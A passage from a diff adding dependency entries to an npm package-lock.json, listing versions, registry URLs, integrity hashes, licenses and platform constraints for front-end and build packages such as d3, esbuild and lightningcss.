"2.10.43", + "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.43.tgz", + "integrity": "sha512-AjYpR78kDWAY3Efj+cDTFH9t9SCoL7OoTp1BOb0mQV7S+6CiLwnWM3FyxhJtdPufDFKzmCSFoUncKjWgJEZTCQ==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "baseline-browser-mapping": "dist/cli.cjs" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/browserslist": { + "version": "4.28.6", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.6.tgz", + "integrity": "sha512-FQBYNK15VMslhLHpA7+n+n1GOlF1kId2xcCg7/j95f24AOF6VDYMNH4mFxF7KuaTdv627faazpOAjFzMrfJOUw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "baseline-browser-mapping": "^2.10.42", + "caniuse-lite": "^1.0.30001803", + "electron-to-chromium": "^1.5.389", + "node-releases": "^2.0.51", + "update-browserslist-db": "^1.2.3" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001806", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001806.tgz", + "integrity": "sha512-72Cuvd95zbSYPKq6Fhg8eDJRlzgWDf7/mtoZv6Qe/DYNCEBdNxoA3+rZAU2ZhGCpZlns3EssFavaZomckT5Uuw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "CC-BY-4.0" + }, + "node_modules/ccount": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/ccount/-/ccount-2.0.1.tgz", + "integrity": "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz", + "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-html4": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-2.1.0.tgz", + "integrity": "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-legacy": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-3.0.0.tgz", + "integrity": "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-reference-invalid": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-2.0.1.tgz", + "integrity": "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/classcat": { + "version": "5.0.5", + "resolved": "https://registry.npmjs.org/classcat/-/classcat-5.0.5.tgz", + "integrity": "sha512-JhZUT7JFcQy/EzW605k/ktHtncoo9vnyW/2GspNYwFlN1C/WmjuV/xtS04e9SOkL2sTdw0VAZ2UGCcQ9lR6p6w==", + "license": "MIT" + }, + "node_modules/clsx": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz", + "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/comma-separated-tokens": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-2.0.3.tgz", + "integrity": "sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true, + "license": "MIT" + }, + "node_modules/csstype": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "license": "MIT" + }, + "node_modules/d3-color": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-dispatch": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-3.0.1.tgz", + "integrity": "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-drag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-3.0.0.tgz", + "integrity": "sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg==", + "license": "ISC", + "dependencies": { + "d3-dispatch": "1 - 3", + "d3-selection": "3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-ease": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz", + "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-interpolate": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", + "license": "ISC", + "dependencies": { + "d3-color": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-selection": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-3.0.0.tgz", + "integrity": "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-timer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz", + "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-transition": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-3.0.1.tgz", + "integrity": "sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w==", + "license": "ISC", + "dependencies": { + "d3-color": "1 - 3", + "d3-dispatch": "1 - 3", + "d3-ease": "1 - 3", + "d3-interpolate": "1 - 3", + "d3-timer": "1 - 3" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "d3-selection": "2 - 3" + } + }, + "node_modules/d3-zoom": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-3.0.0.tgz", + "integrity": "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw==", + "license": "ISC", + "dependencies": { + "d3-dispatch": "1 - 3", + "d3-drag": "2 - 3", + "d3-interpolate": "1 - 3", + "d3-selection": "2 - 3", + "d3-transition": "2 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decode-named-character-reference": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.3.0.tgz", + "integrity": "sha512-GtpQYB283KrPp6nRw50q3U9/VfOutZOe103qlN7BPP6Ad27xYnOIWv4lPzo8HCAL+mMZofJ9KEy30fq6MfaK6Q==", + "license": "MIT", + "dependencies": { + "character-entities": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/detect-libc": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", + "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=8" + } + }, + "node_modules/devlop": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/devlop/-/devlop-1.1.0.tgz", + "integrity": "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==", + "license": "MIT", + "dependencies": { + "dequal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/diff": { + "version": "8.0.4", + "resolved": "https://registry.npmjs.org/diff/-/diff-8.0.4.tgz", + "integrity": "sha512-DPi0FmjiSU5EvQV0++GFDOJ9ASQUVFh5kD+OzOnYdi7n3Wpm9hWWGfB/O2blfHcMVTL5WkQXSnRiK9makhrcnw==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.5.393", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.393.tgz", + "integrity": "sha512-kiDJdIUawuEIcp9XoICKp1iTYDEbgguIPq526N1Q7jIQDeQ3CqoMx71025PI/7E48Ddtw2HuWsVjY7afEgNxmg==", + "dev": true, + "license": "ISC" + }, + "node_modules/enhanced-resolve": { + "version": "5.24.2", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.24.2.tgz", + "integrity": "sha512-rpsZEGT1jFuve6QlpyRp9ckQ+kN61hvF9BzCPyMdaKTm8UJce96KBn3sorXOFXlzjPrs3Vc4T1NsSroZ3PxlFw==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.3.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/esbuild": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", + "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.25.12", + "@esbuild/android-arm": "0.25.12", + "@esbuild/android-arm64": "0.25.12", + "@esbuild/android-x64": "0.25.12", + "@esbuild/darwin-arm64": "0.25.12", + "@esbuild/darwin-x64": "0.25.12", + "@esbuild/freebsd-arm64": "0.25.12", + "@esbuild/freebsd-x64": "0.25.12", + "@esbuild/linux-arm": "0.25.12", + "@esbuild/linux-arm64": "0.25.12", + "@esbuild/linux-ia32": "0.25.12", + "@esbuild/linux-loong64": "0.25.12", + "@esbuild/linux-mips64el": "0.25.12", + "@esbuild/linux-ppc64": "0.25.12", + "@esbuild/linux-riscv64": "0.25.12", + "@esbuild/linux-s390x": "0.25.12", + "@esbuild/linux-x64": "0.25.12", + "@esbuild/netbsd-arm64": "0.25.12", + "@esbuild/netbsd-x64": "0.25.12", + "@esbuild/openbsd-arm64": "0.25.12", + "@esbuild/openbsd-x64": "0.25.12", + "@esbuild/openharmony-arm64": "0.25.12", + "@esbuild/sunos-x64": "0.25.12", + "@esbuild/win32-arm64": "0.25.12", + "@esbuild/win32-ia32": "0.25.12", + "@esbuild/win32-x64": "0.25.12" + } + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-string-regexp": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz", + "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/estree-util-is-identifier-name": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/estree-util-is-identifier-name/-/estree-util-is-identifier-name-3.0.0.tgz", + "integrity": "sha512-hFtqIDZTIUZ9BXLb8y4pYGyk6+wekIivNVTcmvk8NoOh+VeRn5y6cEHzbURrWbfp1fIqdVipilzj+lfaadNZmg==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "license": "MIT" + }, + "node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/hast-util-to-jsx-runtime": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/hast-util-to-jsx-runtime/-/hast-util-to-jsx-runtime-2.3.6.tgz", + "integrity": "sha512-zl6s8LwNyo1P9uw+XJGvZtdFF1GdAkOg8ujOw+4Pyb76874fLps4ueHXDhXWdk6YHQ6OgUtinliG7RsYvCbbBg==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/unist": "^3.0.0", + "comma-separated-tokens": "^2.0.0", + "devlop": "^1.0.0", + "estree-util-is-identifier-name": "^3.0.0", + "hast-util-whitespace": "^3.0.0", + "mdast-util-mdx-expression": "^2.0.0", + "mdast-util-mdx-jsx": "^3.0.0", + "mdast-util-mdxjs-esm": "^2.0.0", + "property-information": "^7.0.0", + "space-separated-tokens": "^2.0.0", + "style-to-js": "^1.0.0", + "unist-util-position": "^5.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-whitespace": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/hast-util-whitespace/-/hast-util-whitespace-3.0.0.tgz", + "integrity": "sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/highlight.js": { + "version": "11.11.1", + "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-11.11.1.tgz", + "integrity": "sha512-Xwwo44whKBVCYoliBQwaPvtd/2tYFkRQtXDWj1nackaV2JPXx3L0+Jvd8/qCJ2p+ML0/XVkJ2q+Mr+UVdpJK5w==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/html-url-attributes": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/html-url-attributes/-/html-url-attributes-3.0.1.tgz", + "integrity": "sha512-ol6UPyBWqsrO6EJySPz2O7ZSr856WDrEzM5zMqp+FJJLGMW35cLYmmZnl0vztAZxRUoNZJFTCohfjuIJ8I4QBQ==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/inline-style-parser": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/inline-style-parser/-/inline-style-parser-0.2.7.tgz", + "integrity": "sha512-Nb2ctOyNR8DqQoR0OwRG95uNWIC0C1lCgf5Naz5H6Ji72KZ8OcFZLz2P5sNgwlyoJ8Yif11oMuYs5pBQa86csA==", + "license": "MIT" + }, + "node_modules/is-alphabetical": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-2.0.1.tgz", + "integrity": "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-alphanumerical": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-2.0.1.tgz", + "integrity": "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==", + "license": "MIT", + "dependencies": { + "is-alphabetical": "^2.0.0", + "is-decimal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-decimal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-2.0.1.tgz", + "integrity": "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-hexadecimal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-2.0.1.tgz", + "integrity": "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-plain-obj": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", + "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/jiti": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.7.0.tgz", + "integrity": "sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==", + "dev": true, + "license": "MIT", + "bin": { + "jiti": "lib/jiti-cli.mjs" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/jsesc": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", + "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", + "dev": true, + "license": "MIT", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/lightningcss": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.32.0.tgz", + "integrity": "sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ==", + "dev": true, + "license": "MPL-2.0", + "dependencies": { + "detect-libc": "^2.0.3" + }, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + }, + "optionalDependencies": { + "lightningcss-android-arm64": "1.32.0", + "lightningcss-darwin-arm64": "1.32.0", + "lightningcss-darwin-x64": "1.32.0", + "lightningcss-freebsd-x64": "1.32.0", + "lightningcss-linux-arm-gnueabihf": "1.32.0", + "lightningcss-linux-arm64-gnu": "1.32.0", + "lightningcss-linux-arm64-musl": "1.32.0", + "lightningcss-linux-x64-gnu": "1.32.0", + "lightningcss-linux-x64-musl": "1.32.0", + "lightningcss-win32-arm64-msvc": "1.32.0", + "lightningcss-win32-x64-msvc": "1.32.0" + } + }, + "node_modules/lightningcss-android-arm64": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-android-arm64/-/lightningcss-android-arm64-1.32.0.tgz", + "integrity": "sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-darwin-arm64": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.32.0.tgz", + "integrity": "sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-darwin-x64": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.32.0.tgz", + "integrity": "sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-freebsd-x64": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.32.0.tgz", + "integrity": "sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm-gnueabihf": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.32.0.tgz", + "integrity": "sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm64-gnu": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.32.0.tgz", + "integrity": "sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": 